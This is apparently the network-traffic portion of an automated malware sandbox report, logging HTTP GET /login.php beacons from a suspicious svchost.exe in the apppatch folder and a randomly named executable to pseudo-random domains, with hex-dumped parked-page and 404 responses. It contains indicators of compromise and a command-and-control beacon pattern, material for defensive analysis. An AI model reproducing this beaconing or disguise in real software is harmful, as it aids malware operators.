                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.196300030 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          35192.168.2.66329385.17.31.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.004745007 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          36192.168.2.663298199.59.243.227804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.091655970 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524069071 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 8d743981-e4fe-4bd5-9efc-50db61db8c65
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:25 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.524106979 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MjA1LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          37192.168.2.66330285.17.31.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.366452932 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          38192.168.2.66330523.253.46.6480
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.623681068 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.149998903 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:20 GMT
                                                                                                                                                                                                          Content-Length: 1245
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.150424957 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          39192.168.2.663471103.224.212.210804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.047619104 CET277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyxynyx.com
                                                                                                                                                                                                          Cookie: __tad=1731345193.2353053
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.603832006 CET244INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:36 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0413-361d-880c-38de75da0bbf
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          40192.168.2.663472103.224.182.252804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.130695105 CET277OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vofycot.com
                                                                                                                                                                                                          Cookie: __tad=1731345193.3163760
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.687558889 CET242INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:36 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          location: http://ww16.vofycot.com/login.php?sub1=20241112-0413-3653-b9c7-4bbc444bdc48
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          41192.168.2.663478199.59.243.227804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.019841909 CET404OUTGET /login.php?subid1=20241112-0413-361d-880c-38de75da0bbf HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww25.lyxynyx.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1731345193.2353053; parking_session=420ef3a8-c938-4e4a-99bb-1a08a10d1764
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.445703983 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1230
                                                                                                                                                                                                          x-request-id: d398084c-3aea-45b2-af0b-8e18c88158c5
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qlbFYZBrRr3oBXYuT4PpqSvswzx0Pa0r8IbBI7WtofzCyLCzV+Ehf06BCvaaXUwK10jc0WFF8/jAnQAfcKLdRA==
                                                                                                                                                                                                          set-cookie: parking_session=420ef3a8-c938-4e4a-99bb-1a08a10d1764; expires=Mon, 11 Nov 2024 17:28:37 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 71 6c 62 46 59 5a 42 72 52 72 33 6f 42 58 59 75 54 34 50 70 71 53 76 73 77 7a 78 30 50 61 30 72 38 49 62 42 49 37 57 74 6f 66 7a 43 79 4c 43 7a 56 2b 45 68 66 30 36 42 43 76 61 61 58 55 77 4b 31 30 6a 63 30 57 46 46 38 2f 6a 41 6e 51 41 66 63 4b 4c 64 52 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qlbFYZBrRr3oBXYuT4PpqSvswzx0Pa0r8IbBI7WtofzCyLCzV+Ehf06BCvaaXUwK10jc0WFF8/jAnQAfcKLdRA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.445887089 CET656INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDIwZWYzYTgtYzkzOC00ZTRhLTk5YmItMWEwOGExMGQxNzY0IiwicGFnZV90aW1lIjoxNzMxMzQ1MjE3LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          42192.168.2.6634803.94.10.34801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301165104 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345181|1731345181|0|1|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.727586031 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345217|1731345181|18|2|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          43192.168.2.663481199.191.50.83801656C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.301786900 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Cookie: vsid=903vr478890781963739088
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731242895 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:37 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 61 38 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: a8fc<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}i
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731271982 CET212INData Raw: 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f
                                                                                                                                                                                                          Data Ascii: f(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host
                                                                                                                                                                                                          Nov 11, 2024 18:13:38.731282949 CET1236INData Raw: 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f
